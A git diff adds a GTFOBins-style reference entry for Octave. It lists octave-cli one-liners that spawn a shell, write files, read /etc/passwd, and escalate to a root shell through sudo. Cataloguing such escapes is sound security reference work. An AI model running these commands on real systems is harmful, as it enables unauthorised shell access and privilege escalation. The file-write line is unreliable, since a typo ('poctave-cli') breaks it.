diff --git a/_gtfobins/octave.md b/_gtfobins/octave.md new file mode 100644 index 0000000..9fed372 --- /dev/null +++ b/_gtfobins/octave.md @@ -0,0 +1,10 @@ +description: The payloads are compatible with GUI. +functions: + shell: + - code: octave-cli --eval "system('/bin/sh')" + file-write: + - code: poctave-cli --eval 'filename = "file_to_write"; fid = fopen (filename, "w"); fputs (fid, "DATA"); fclose (fid);' + file-read: + - code: octave-cli --eval 'fid = fopen ("/etc/passwd"); while(!feof(fid)); txt = fgetl(fid), txt; endwhile; fclose (fid);' + sudo: + - code: sudo octave-cli --eval "system('/bin/sh')"